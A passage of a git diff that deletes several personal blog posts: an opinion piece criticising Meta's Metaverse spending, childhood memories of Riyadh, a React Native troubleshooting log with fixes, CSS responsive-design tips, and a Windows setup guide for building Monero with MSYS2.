second or third pass, try shaving against the grain (opposite of above). Do not press against your skin or force it. It is painful for some parts, but as long as you don't press against your skin, you should be good. - -## Eye Brows - -TODO diff --git a/content/posts/mark-zuckerburg-and-the-metaverse-are-moral-failures.md b/content/posts/mark-zuckerburg-and-the-metaverse-are-moral-failures.md deleted file mode 100644 index b5fd81914..000000000 --- a/content/posts/mark-zuckerburg-and-the-metaverse-are-moral-failures.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: "Mark Zuckerberg and the Metaverse Are Moral Failures" -date: 2023-06-01T20:43:19-04:00 -tags: - - opinion - - morality -summary: "An opinion piece arguing that Mark Zuckerberg and the Metaverse project are moral failures, criticizing the investment of billions into a virtual world while real-world problems persist and discussing the ethics of directing vast wealth towards projects that don't benefit humanity." ---- - -Imagine being the CEO of a corporation with billions of dollars of which you are also the majority shareholder. Not only do you control billions of dollars personally but you control a corporation with billions of dollars in cash in the bank. - -Your company makes money based on the amount of time people spend on your products because the more time spent on the platforms you provide results in more time spent looking at the ads that pay your platforms to be shown to your users. - -Now you decide that users shouldn't just be able to spend some of their time on these apps but should be able to 'live' within a virtual world with virtual products at their finger tips. Instead of physically doing activities you believe it is more ideal to virtually do them in one spot with worse graphics than video games and without any physical sensation. - -You admit and know that this venture will cost the company billions of dollars over the next 5 years and decide that this is the best use of money for not just the corporation but humanity itself. - -This is a colossal moral failure. There are people going hungry every day even though there is more than enough food being produced (citation required). There are countless cases of STI's spread in Africa and yet more than enough money to provide sexual education. The local food supply of these countries cannot keep up with the local population growth. Instead of investing in humanity, META, lead by Mark Zuckerberg is insistent on investing and subsidizing the Metaverse; virtual reality headsets, programs and fictional places hosted by servers. - -Instead of building the next wonder of the world or producing real wealth, mark Zuckerberg has decided to waste and dump wealth and direct it towards projects that don't even relate or help the average person in this world. If you're going to admit to spending billions of dollars into a loss maker, at least think to yourself if that's the best use of money for the world. - -It is extremely disappointing that we have a history reminding us of the moral failures of the past and we choose to falsely believe that the present is morally righteous without faults. - -It's a lie and the humans of the future - if any exist - will look at the peak of the world economy and take note at how the most powerful people in this world failed to help the very humans who gave them power and how morality becomes optional as one acquires more power. - -One was never moral to begin with if the acquisition of power leads to immorality. - -I was inspired to write this after coming across [_Mark Zuckerberg unveils new Metaverse product despite claims VR world is ‘dead’ with one platform only having 38 users_](https://www.the-sun.com/tech/8261218/facebook-mark-zuckerberg-meta-quest-3-metaverse-dead/) which linked to [_RIP Metaverse - An obituary for the latest fad to join the tech graveyard_](https://www.businessinsider.com/metaverse-dead-obituary-facebook-mark-zuckerberg-tech-fad-ai-chatgpt-2023-5) diff --git a/content/posts/memories-of-saudi-arabia.md b/content/posts/memories-of-saudi-arabia.md deleted file mode 100644 index cb97ec7f8..000000000 --- a/content/posts/memories-of-saudi-arabia.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: "Memories of Saudi Arabia" -date: 2023-02-03T23:56:22-05:00 -draft: false -tags: - - memories -summary: "Recollections of childhood memories from living in Riyadh, Saudi Arabia around 2005-2006, including everyday moments, significant events, and cultural experiences." ---- - -These are some of my oldest memories somewhere from 2005-2006. According to my dad we were living in the city of Riyadh. - -- Riding a small bicycle with training wheels inside our apartment -- We had this ceiling suspended three seater that you can rock back and forth with. -- I remember one older _brother_ and _sister_ (neighbours) -- I remember playing some sort of boardgame -- I remember seeing a cockroach in the kitchen and I'm pretty sure my mom killed it -- I remember playing Age of Empires on our Windows XP laptop that we kept for over a decade - - It died in 2017 or something after I had installed Ubuntu and let my mom use it. RIP 512MB of RAM -- Indoor tubing where we went on a trip with the school. My mom was with me I'm pretty sure -- Sitting window seat on the bus with my friend and looking into the sun and then at the sky and blinking and seeing those cyan artifacts and asking her if she also could see it. She could. -- Floating face up at the pool at school -- I think I was surprised when I spoke a language other than English (either Hindi or Marathi) with someone in my class. I don't speak Marathi or Hindi today, I can understand both 75%. -- I probably have more memories, but these are all I could recall in the moment. It's good to write this all down since it's possible to forget it all! -- Firecrackers (the 9 pack one as well as the poppers that stay on the ground) on the roof. - -## The Mosque - -I remember walking to the mosque with this older brother of mine. I called him Housafa _Dada_. -We walked there and we would do the entire prayer sequence. Stand, kneel, head touches ground, all barefoot. -I have no memories of knowing what religion was or is. To clear up any curiosity you may have, I have been openly agnostic for some years now. - -## The Stuffed Pizza Crust Incident - -My neighbours a floor above us homemade a pizza and it had cheese stuffed crust. I had an allergic reaction to that. - -## The Ear Infection Incident - -As you all know, Saudi Arabia is a dusty desert. So I got an ear infection. I remember going to the specialist to get that fixed - -## Birthday Party - -We had a birthday party for me or something with cake at restaurant. I'd like to believe it was Pizza Hut because I remember red bench-like seating - -## Pictures - -We took formal pictures, we still have those pictures with us - -## Origami Paper Boats - -Sometimes it would rain so much that an inch of water would be on the roads. My dad and I would make these paper boats and then go on the island part that seperates the two roads and we'd place our -boats on the partially flooded roads. - -## Firetruck Incident - -There was a fire across from our apartments and we all woke up at night due to the fire fighter vehicle sirens. diff --git a/content/posts/mobile-development-is-painful.md b/content/posts/mobile-development-is-painful.md deleted file mode 100644 index 84a5fb1f6..000000000 --- a/content/posts/mobile-development-is-painful.md +++ /dev/null @@ -1,326 +0,0 @@ ---- -title: "Mobile Development Is Painful" -date: 2023-05-04T23:55:07-04:00 -draft: false -tags: - - opinion - - mobile -summary: "Sharing painful experiences with cross-platform mobile development frameworks (Uno, Flutter, React Native), highlighting issues and arguing for native development (Kotlin/Swift) as a more stable alternative despite writing code twice." ---- - -I've been tasked at creating a mobile app for both iPhone and Android and I have zero experience. I tried to do something with Flutter in 2020, however back then I gave up when Flutter couldn't do background tasks. - -## Uno Platform - -This year, I tried to do the app with [Uno Platform](https://platform.uno/) and encountered a slew of issues. The -people are nice, however the platform was fighting against me and now when my own deadline approaches, my -question on how to navigate views is still left unanswered. The support is abysmal and I seriously just want an easy life. - -I went with Uno Platform because I wanted to do the backend with C# ASP.NET to have a one language stack. However, I knew that React Native would be easier since I already know React. - -## Flutter - -Today I tried to compare Flutter and React Native and found out that Flutter was better in performance and widgets, however if flutter as so good, no one would use React Native, so why does React Native still exist? - -Well I found out today. The boilerplate and code redundancy is beyond comprehensible. If you need state management, there's two classes, with boilerplate functions for each. I spent 30 minutes figuring out how to use persistent storage (shared preferences) to conditionally render a view, but because it's async, there's just too much complexity. - -Tomorrow is a new day and I'm determined to get work done. I have some react native libraries saved, and I'm going to go through with it. Is is the mobile SDK's making my life hard or is the frameworks that have the poor developer experience? We'll find out tomorrow (next paragraph)! - -Well tomorrow is here, and the verdict on React Native is: not ideal but can get it to work. - -## React Native - -Expo is complete dog shit. The React Native Expo scaffold command promoted by the official documentation doesn't even produce a compilable app. It's absolutely dumb. I encountered this sort of broken official docs last year too when I was [getting started with Tauri](https://www.youtube.com/playlist?list=PLmWYh0f8jKSjt9VC5sq2T3mFETasG2p2L). One thing I absolutely despise about other developers in this industry is that they want to be authoritarian and retain full control of their repositories while simultaneously being unavailable. - -React Native CLI on the other hand did compile, but the verdict for that is: works 60% of the time all the time. - -You add a package to package.json in a React Native and when you hit build, you wait 60 seconds for the project to download required files before building only to encounter: - -The Android Gradle plugin supports only kotlin-android-extensions Gradle plugin version 1.6.20 and higher. - -> That's because RN upgrades (or other libs that use Kotlin) break the version. There's not a lot I can do about this apart from just updating Kotlin version everytime. - -[source](https://github.com/mrousavy/react-native-vision-camera/issues/1352#issuecomment-1571658656) - -This is coming from the maintainer of the mainstream camera package for react native... - -Imagine wanting to scan a QR code but you have to rely on a single person who doesn't want to give access to other people to maintain his/her project? - -Now I need `react-native-reanimated` on top of `react-native-vision-camera` and `vision-camera-code-scanner`... - -Expo is such a trap. It's a pain to remove when you realize the expo module you wanted to use doesn't even work. - -When I want to debug my mobile application? - -```text -An error occurred while launching the application. Error while executing command 'c:\Users\maste\Documents\GitHub\SplitTheTank\node_modules\.bin\react-native.cmd run-android --no-packager' (error code 101) (error code 303) -``` - -want to run `npx react-native run-android`? - -```text -Error: Command failed: gradlew.bat app:installDebug -PreactNativeDevServerPort=8081 - -FAILURE: Build failed with an exception. - -* Where: -Settings file 'C:\Users\maste\Documents\GitHub\SplitTheTank\android\settings.gradle' line: 9 - -* What went wrong: -A problem occurred evaluating settings 'SplitTheTank'. -> Could not read script 'C:\Users\maste\Documents\GitHub\SplitTheTank\scripts\autolinking.gradle' as it does not exist. -``` - -```txt -Included build 'C:\Users\maste\Documents\GitHub\SplitTheTank\node_modules\react-native-gradle-plugin' does not exist. -``` - -What to do? - -- If you want to remove expo modules, [do the opposite of the manual installation of expo modules](https://docs.expo.dev/bare/installing-expo-modules/#manual-installation) -- If you upgraded react-native, follow [upgrade helper](https://react-native-community.github.io/upgrade-helper/?from=0.71.12&to=0.72.3) -- Run `yarn` or `npm install` in the root folder. -- In one terminal: `npx react-native start` -- In another terminal `npx react-native run-android` -- `yarn add react-native` to upgrade react-native - -Okay so finally I want to get the QR code scanner working. - -1. `__scanCodes` not found. Easy fix, just change babel.config.js to use `__scanCodes` instead of `__scanQRCodes` which was there for some reason... - - Have to reset the cache -2. ReferenceError: Property '_setGlobalConsole' doesn't exist - - Cool, just set the version of the "react-native-reanimated": "2.14.4" since the latest version (3+) has it removed... - - Have to wait for vision-camera v3 to come out -3. What went wrong: A problem occurred evaluating project ':react-native-reanimated'. > Could not get unknown property 'minor' for project ':react-native-reanimated' of type org.gradle.api.Project - - This is peak React Native Monkey Patching. With promises of greatness, you are unable to update to the latest software because one package relies on an older version of another package - which relies on an older version of react-native - - okay, so I used 2.17.0 and got the warning/issue that is: - Execution failed for task ':react-native-vision-camera:extractJNIFiles'. > Cannot expand ZIP 'C:\Users\maste\Documents\GitHub\SplitTheTank\node_modules\react-native-reanimated\android\react-native-reanimated-72-hermes.aar' as it does not exist. - - Had to remove `node_modules/react-native-reanimated` and run `yarn` again to reinstall the package. - - The build finally worked - - `error: index.js: Cannot find module 'react-native-reanimated/plugin'` - - Installed manually `yarn add react-native-reanimated@2.17.0` - - Same build error - Execution failed for task ':react-native-vision-camera:extractJNIFiles'. - Cannot expand ZIP 'C:\Users\maste\Documents\GitHub\SplitTheTank\node_modules\react-native-reanimated\android\react-native-reanimated-72-hermes.aar' as it does not exist. - - Let me just remove the entire `node_modules` folder then - - I give up - - upgrade to v3 again - - ERROR TypeError: Cannot read property 'version' of undefined, js engine: hermes - - yarn add react-native-reanimated - - yarn start --reset-cache - - Back to step 2 - - Let me try v3 release candidate - - Project with path ':react-native-worklets' could not be found in project ':react-native-vision-camera' - - yarn add @shopify/react-native-skia@0.1.175 - - yarn add react-native-worklets@ - - Tesla has [react-native-camera-kit](https://github.com/teslamotors/react-native-camera-kit) which has QR Scanning out the box -Please stop this endless cycle of bloatware. I'm so done with react native. My friend (todo: link) even told me about how he stopped with React Native and went native. -I had not heeded his advice because I thought it would not be as productive as React Native (since I know React already), but the way I see things now, I would not pick React Native -for future projects. Any project that uses React Native becomes tech debt instantly. - -I'm going to document all my issues and solution for them - -I recently updated to react-native 78 and of course something breaks! This type, there is a bug when targeting Android 15. The [bug in question](https://github.com/facebook/react-native/issues/49759) is that the `KeyboardAvoidingView` component doesn't work anymore! No wonder react-native is in 0.X, it's literally unstable. This is probably why of the people I know said that native is preferable. You just wouldn't get blocked by React Native then. WIth native, the SDK comes out months before the OS is released. - -### How to Change Android Status Bar and Gesture Navigation Color - -```sh -yarn add react-native-navigation-bar-color -``` - -In `index.js`: - -```js -import changeNavigationBarColor from 'react-native-navigation-bar-color'; -import { Platform, useColorScheme } from 'react-native'; - -export default function Main() { - const [prefersDark, setDarkTheme] = useState(useColorScheme() !== 'light'); - // obviously need to read dark from storage - useEffect(() => { - if (Platform.OS === 'android') { - if (theme.colors.surface.startsWith('#')) changeNavigationBarColor(theme.colors.surface, !prefersDark); - else console.error('theme.colors.surface color must be #HEX in order to set the bg color of the system navigation') - } - }, [prefersDark]); -// ... -} -``` - -### How to Request and Check for Permissions in react-native - -I'll give a brief overview - -- set iOS permissions in `package.json` -- Add permission to AndroidManifest.xml and Info.plist -- on macOS, you need to run `npx react-native setup-ios-permissions && npx pod-install` - -Mobile code - -```js -import { PERMISSIONS, RESULTS, check, request } from 'react-native-permissions'; -// check (PERM) // compare to RESULTS.DENIED -// request(PERM) // compare to logic - -let permission; -if (Platform.OS === 'ios') permission = PERMISSIONS.IOS.LOCATION_WHEN_IN_USE; -else if (Platform.OS === 'android') permission = PERMISSIONS.ANDROID.ACCESS_FINE_LOCATION; -else permission = null; - -if (permission !== null) { - let locationPermResult = await check(permission); - if (locationPermResult === RESULTS.DENIED) locationPermResult = await request(permission); - if (locationPermResult === RESULTS.GRANTED || locationPermResult === RESULTS.LIMITED) { - // can ignore the LIMITED portion if your application requires full permissions - } -} - -``` - -### No Permission Handler Detected - -So I got my hands on someones Mac and oh boy they are not the m1s so they aren't that powerful. I'm glad -I bought a "gaming" laptop because at least this baby can tear through compilations. Anyway, to fix this issue. - -1. Follow [react-native-permissions iOS setup](https://github.com/zoontek/react-native-permissions#ios) - - "reactNativePermissionsIOS" in package.json - - Edit `Info.plist` - - `npx react-native setup-ios-permissions && npx pod-install` -2. If the above step did not work (always run in XCode, not VS Code), then run the following - -```sh -rm -rf ~/Library/Developer/XCode/DerivedData -``` - -Also, if you don't have a Macbook, do not borrow a friends macbook unless they have an m1 or better CPU. With the amount of clean builds I've done, going to the Apple store and back would save you time since each build takes 10 minutes on some macbooks that are not even 4 years old. - -### CocoaPods Error: dependency were found, but they required a higher minimum deployment target - -> Specs satisfying the stripe-react-native (from ../node_modules/@stripe/stripe-react-native) dependency were found, but they required a higher minimum deployment target. - -If your `ios/Podfile` has the following: - -```ruby -platform :ios, min_ios_version_supported -``` - -Modify it like so to avoid breaking your application when react-native updates its minium version past iOS 13. - -```ruby -MIN_IOS_OVERRIDE = '13.0' -if Gem::Version.new(MIN_IOS_OVERRIDE) > Gem::Version.new(min_ios_version_supported) - min_ios_version_supported = MIN_IOS_OVERRIDE -end -platform :ios, min_ios_version_supported -``` - -INFO: The `min_ios_version_supported` comes from `node_modules/react-native/scripts/react_native_pods.rb` - -TODO: Pull the highest IPHONEOS_DEPLOYMENT_TARGET from your project.pbxproj instead of MIN_IOS_OVERRIDE - -### react-native-vector-icons Icons are Missing - -- In XCode, delete (remove references) font folder with the react native vector icons -- Readd fonts via group from the node_modules react native vector icons -- Double Click the blue project in XCode -- Go to Build Phases -- Add the fonts to "Copy Bundle Resources" - -### App Crashes After Resuming From Background - -The issue has to do with react-native-screens so add the following to `MainActivity.java`` - -```java -@Override -protected void onCreate(Bundle savedInstanceState) { - super.onCreate(null); -} -``` - -This is the error I got. - -
Fatal Exception Log -```log -08-19 21:45:45.043 1900 1900 E AndroidRuntime: FATAL EXCEPTION: main -08-19 21:45:45.043 1900 1900 E AndroidRuntime: Process: com.splitthetank, PID: 1900 -08-19 21:45:45.043 1900 1900 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.splitthetank/com.splitthetank.MainActivity}: androidx.fragment.app.Fragment$InstantiationException: Unable to instantiate fragment com.swmansion.rnscreens.ScreenStackFragment: calling Fragment constructor caused an exception -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3644) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3781) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:101) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:138) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:95) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2306) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.os.Handler.dispatchMessage(Handler.java:106) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.os.Looper.loopOnce(Looper.java:201) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.os.Looper.loop(Looper.java:288) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.ActivityThread.main(ActivityThread.java:7918) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at java.lang.reflect.Method.invoke(Native Method) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:548) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:936) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: Caused by: androidx.fragment.app.Fragment$InstantiationException: Unable to instantiate fragment com.swmansion.rnscreens.ScreenStackFragment: calling Fragment constructor caused an exception -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.Fragment.instantiate(Fragment.java:631) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentContainer.instantiate(FragmentContainer.java:57) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentManager$3.instantiate(FragmentManager.java:483) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentStateManager.(FragmentStateManager.java:85) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentManager.restoreSaveState(FragmentManager.java:2728) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentController.restoreSaveState(FragmentController.java:198) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentActivity$2.onContextAvailable(FragmentActivity.java:149) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.activity.contextaware.ContextAwareHelper.dispatchOnContextAvailable(ContextAwareHelper.java:99) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.activity.ComponentActivity.onCreate(ComponentActivity.java:322) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.FragmentActivity.onCreate(FragmentActivity.java:273) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at com.facebook.react.ReactActivity.onCreate(ReactActivity.java:45) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.Activity.performCreate(Activity.java:8342) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.Activity.performCreate(Activity.java:8321) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1417) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3625) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: ... 12 more -08-19 21:45:45.043 1900 1900 E AndroidRuntime: Caused by: java.lang.reflect.InvocationTargetException -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at java.lang.reflect.Constructor.newInstance0(Native Method) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at java.lang.reflect.Constructor.newInstance(Constructor.java:343) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at androidx.fragment.app.Fragment.instantiate(Fragment.java:613) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: ... 26 more -08-19 21:45:45.043 1900 1900 E AndroidRuntime: Caused by: java.lang.IllegalStateException: Screen fragments should never be restored. Follow instructions from https://github.com/software-mansion/react-native-screens/issues/17#issuecomment-424704067 to properly configure your main activity. -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at com.swmansion.rnscreens.ScreenFragment.(ScreenFragment.kt:54) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: at com.swmansion.rnscreens.ScreenStackFragment.(ScreenStackFragment.kt:35) -08-19 21:45:45.043 1900 1900 E AndroidRuntime: ... 29 more -``` -
- -### Keyboard Overlapping Text Field - -```jsx -import { KeyboardAvoidingView } from 'react-native'; -import { useHeaderHeight} from '@react-navigation/elements'; // if you are using react-navigation - -function AScreen() { - const headerHeight = useHeaderHeight(); - return - {/* from react-native-paper */} - -} -``` - -### Running App in the "Background" - -This tutorial isn't short so I've linked it [here](/posts/react-native-run-app-in-background/). - -Stack overflow users do not understand this question. What you are looking for is "Android: prevent app from pausing" - -You see, I had this problem with Flutter in 2020, but three years later and 50 google searches I found out that what I wanted is called "foreground service" which requires registering a foreground service (one max) and a persistent notification. If you want to do stuff in the "background" without showing a notification the first time, that's not exactly morally correct and you'll be having a very tough time implementing it. - -### Command PhaseScriptExecution failed with a nonzero exit code. node not found or does not exist - -Solution: - -open `ios/.xcode.env.local` and delete the line starting with `export NODE_BINARY`. - -It seems that XCode and by way a human being decided it was a good idea to hardcode a path to a node binary that doesn't exist and overrides whatever the developer is using. - -## A Note to Future Developers - -Make two apps. It's much better. Learn both Swift and Kotlin. Write feature in Kotlin, write feature again in Swift. Less time wasted due to these react-native specific conflicts. - -A strong reason to not do this, is because Apple does not allow development on Windows. I have a solution. Use [VirtualBox](https://www.virtualbox.org/) and then install [macOS](https://www.maketecheasier.com/install-macos-virtualbox/) - -Start from scratch. Do things correctly. Use Kotlin for the Android app and a Virtual Machine to code the iOS app in Swift. Do things twice in both apps because it will save you the time of debugging stupid react native build errors. Plus there's no transpilation. Everything is as close to native as possible. diff --git a/content/posts/mobile-responsive-design.md b/content/posts/mobile-responsive-design.md deleted file mode 100644 index 9eb6a6d85..000000000 --- a/content/posts/mobile-responsive-design.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: "HTML and CSS - Mobile Responsive Design" -date: 2022-02-24T00:40:12-05:00 -tags: - - tutorial - - programming - - webdev - - mobile -summary: "5+ tips for writing webdev code for mobile and desktop" ---- - -From [mdn web docs - Viewport width and screen width](https://developer.mozilla.org/docs/Web/HTML/Viewport_meta_tag#viewport_width_and_screen_width) - -```html - -``` - -We include `viewport-fit=cover` so that we can use [environment](https://developer.mozilla.org/docs/Web/CSS/env) variables such as `env(safe-area-inset-top)` which allows us to add padding to our pages exclusively for when this variable is set. We also get to set fallback values. This is useful for when you want your webapp to support smaller width's like maybe the window is resized to be smaller, as well as supporting devices which have unsafe areas (e.g. notches). [Using env for non-iOS devices](https://stackoverflow.com/questions/57907685/padding-envsafe-area-inset-top-is-not-working) - -If you want zooming in and out to work, you can also use a scale of 0.86 instead of 1. - -```html - -``` - -## Setting Breakpoints Variables - -Tutorials will recommend to style mobile first, but I usually create websites for the desktop view first. - -```css -/* mobile */ -$breakpoint-xs: 36em; -/* tablet */ -$breakpoint-sm: 48em; - -@media screen and (max-width: $breakpoint-sm) { - #desktop-nav>a { - float: left; - text-align: center; - margin-left: 5%; - } -} - -@media screen and (max-width: $breakpoint-xs) { - #desktop-nav { - display: none - } - - /* if you're building PWAs, using environment variables like safe-area-inset-top are essential for ensuring consistent styles across desktop and mobile */ - /* note that fallback values are supported */ - .container { - padding-top: calc(20px + env(safe-area-inset-top)); - } -} -``` - -## Responsive Design for Row to Column - -Suppose you want items to be beside each other when the screen is wide enough, but you want them to be stacked when the width is narrower. - -```css -@media screen and (max-width: $breakpoint-xs) { - .someGroup { - flex-direction: column; - text-align: center; - } -} -``` - -## Controlling Line Breaks - -Based on real examples, suppose you want to ensure that break points don't split up related words, like names for example. You can group the content using `span` and then add the `inline-block` style to the span tag. This applies for dates as well. Here is Mantine React Code with i18n showcasing how we ensured that if the text component needs to be wrapped, that the full name will get wrapped rather than possibly just the last name. Technically, you shouldn't group the words together since this is a suggested break point rather than a "group these words together" markup. - -```tsx -{]} />} -``` - -```json -"WGTrademark": "WireGuard® is a registered trademark of <0>Jason A. Donenfeld.", -``` - -## Disabling Hover Styles on Mobile - -A great example of this can be found in the [Obscura VPN's Location tab](https://github.com/Sovereign-Engineering/obscuravpn-client/blob/main/obscura-ui/src/views/Location.module.css#L6). On this tab, we want to show some hover styles when the user is hovering over locations, however on mobile or any device that doesn't support the hover state, we don't want to change the style (e.g. when user is simply scrolling). - -I wanted to show a hover style on a location card but (1) not when a user is pressing it on their phone while scrolling. (2) not when the user is hovering over a button that is inside the card. - -```css -@media (hover: hover) { - .locationCardNotConnected:hover:not(:has(.favoriteBtn:hover)) { - background-color: light-dark(#f5f5f5, var(--mantine-color-dark-4)); - - @mixin light { - border-color: var(--mantine-color-teal-5) !important; - border-width: 1px !important; - } - } -} -``` diff --git a/content/posts/monero-devs-windows.md b/content/posts/monero-devs-windows.md deleted file mode 100644 index 232c66911..000000000 --- a/content/posts/monero-devs-windows.md +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: "Monero Onboarding for Windows Developers" -date: 2022-12-03T12:58:50-05:00 -draft: false -tags: - - monero - - cryptocurrency - - programming - - tutorial - - vscode - - c++ -aliases: ['/posts/monero-dev-windows/'] -summary: "A guide for Windows developers to set up their environment and contribute to Monero projects like `monero` or `monero-gui` without a Linux VM, covering prerequisites, VS Code setup, dependency installation, building, and contributing." ---- - -This is a straightforward guide to start developing on the monero project (monero, monero-gui, etc.) on Windows without using a Linux \[virtual] machine. -Although I have a Linux machine, I am maximally productive on Windows as it is my primary OS. -When copy pasting terminal commands, paste into notepad before pasting into your terminal because it's a good habit to catch a clipboard jacking attack. - -## Prerequisites - -- [MSYS2](https://www.msys2.org/#installation) - - Use `Get-FileHash -Path .\INSTALLER -Algorithm SHA256` and compare the hashes to verify the installer -- [Visual Studio Code](https://code.visualstudio.com/download) -- [Git](https://git-scm.com/downloads) -- Optional: [GitHub Desktop](https://desktop.github.com/) -- Optional: [GitHub Account](https://github.com/) - -Install these simultaneously. - -## Forking a Monero Repository - -If you want to contribute through a GitHub account, -you will need to fork the [monero](https://github.com/monero-project/monero) or [monero-gui](https://github.com/monero-project/monero-gui) repository. -If you are new to GitHub, see: [fork a repo](https://docs.github.com/en/get-started/quickstart/fork-a-repo#forking-a-repository) - -If you are interested in contributing without a GitHub account, you can skip this step. - -## Cloning the Repository - -Use git or GitHub Desktop to clone your fork. Clone the original repository if you want to contribute anonymously. - -Replace the URL below with the URL of your fork. - -```bash -git clone --recursive https://github.com/monero-project/monero-gui.git -``` - -`--recursive` is used so that submodules are cloned as well. Otherwise, you'd have to update those submodules when the build fails. - -## Setting Up VSCode - -I use VS Code when working on the `monero-gui` project and for most projects, even this blog! -The exceptions being: Python, Windows C++ development, .NET development, Java. - -1. Open the `monero-gui` directory in VSCode -2. Install [C++ Extension Pack](https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools-extension-pack) -3. Install [Better C++ Syntax](https://marketplace.visualstudio.com/items?itemName=jeff-hykin.better-cpp-syntax) -4. Add MSYS2 64-bit as a terminal profile in user `settings.json` - - ```json - // if this setting already exists, add the MSYS2 portion - // rather than overwriting any existing profiles - "terminal.integrated.profiles.windows": { - - "MSYS2": { - "path": "C:\\msys64\\usr\\bin\\bash.exe", - "args": [ - "--login", - "-i" - ], - "env": { - "MSYSTEM": "MINGW64", - "CHERE_INVOKING": "1" - } - } - - } - ``` - -5. Add workspace settings as seen in my [monero-gui fork](https://github.dev/elibroftw/monero-gui/tree/vs-code-ide-settings/.vscode) (copy the .vscode folder) - - - You will most likely only need to change the "release-win64" in `tasks.json` if you are working on monero and not monero-gui. - - I hope to merge these settings into upstream so that everyone debugging on their machines will have an easy time - -6. Set MSYS2 as the default terminal profile for Windows in the VSCode `workspace` settings - - ![Setting default terminal profile](/images/vs-code/setting-default-profile.webp) - -6. Open an MSYS2 Terminal in VS Code - - - I use a custom keyboard shortcut `Ctrl + T` for toggling the terminal and `Ctrl + Shift + T` to create a new default profile terminal - - Ensure that the terminal you opened is MSYS2 (bash) and not CMD or PS (there will be a $ sign if you indeed opened MSYS2 64bit) - -## Installing MSYS2 64-bit Dependencies - -In the Windows instructions for the Monero project you are interested in, you may see that `pacman` is used to install dependencies. Pacman is the default package manager on _Arch btw_. -However, the installing process is not guaranteed to work for `monero-gui` since the `README.md` is missing the `-Syu` command. If you already have MSYS2 installed like I had, you'd run into issues. - -Run the following commands in an MSYS2 64-bit bash window. I suggest using the one we opened up in the previous step or you can open one externally if you don't use VSCode. -Note that the dependencies take a bit of storage. I think I used a couple GBs (my perspective is that I have 4+ drives). I've included `--noconfirm` so that you can play Pacman on Google while these commands are running. - -1. Upgrade dependencies - - ```bash - pacman -Syu --noconfirm # upgrade existing database and packages - # the terminal may close automatically - ``` - -2. Install Monero dependencies - - ```bash - pacman -S mingw-w64-x86_64-toolchain make mingw-w64-x86_64-cmake mingw-w64-x86_64-boost mingw-w64-x86_64-openssl mingw-w64-x86_64-zeromq mingw-w64-x86_64-libsodium mingw-w64-x86_64-hidapi mingw-w64-x86_64-protobuf-c mingw-w64-x86_64-libusb mingw-w64-x86_64-libgcrypt mingw-w64-x86_64-unbound mingw-w64-x86_64-doxygen mingw-w64-x86_64-libunwind mingw-w64-x86_64-ccache mingw-w64-x86_64-pcre --noconfirm - ``` - - If you are reading this far into the future, ensure that the list of dependencies installed is a merger of the ones I have listed and the ones listed in the project's `README.md` - When I was writing this article, build failures were common for 3+ hours due to missing packages, an unsupported `debug-static-win64` build target, and ccache working suddenly. - -3. Install Qt5 - - ```bash - pacman -S mingw-w64-x86_64-qt5 --noconfirm - ``` - -## Building Setup - -### Anti-Virus - -I noticed that when building, Windows anti-virus would spike. So I recommend excluding the project folder as well as the msys2 folder from Windows Security or whatever anti-virus software you are running. - -### Default Number of Jobs for Make - -We want to avoid entering in `-jN` every time we build, but what should N be? I use CPU cores - 1 so that -I can still use my browser and other apps while building. You can run the following to set that so. - -```sh -echo "alias make=\"/usr/bin/make -j$((`nproc` > 1 ? $((`nproc` - 1)) : 1 ))\"" >> ~/.profile -source ~/.profile # you do not need to run this in subsequent terminals 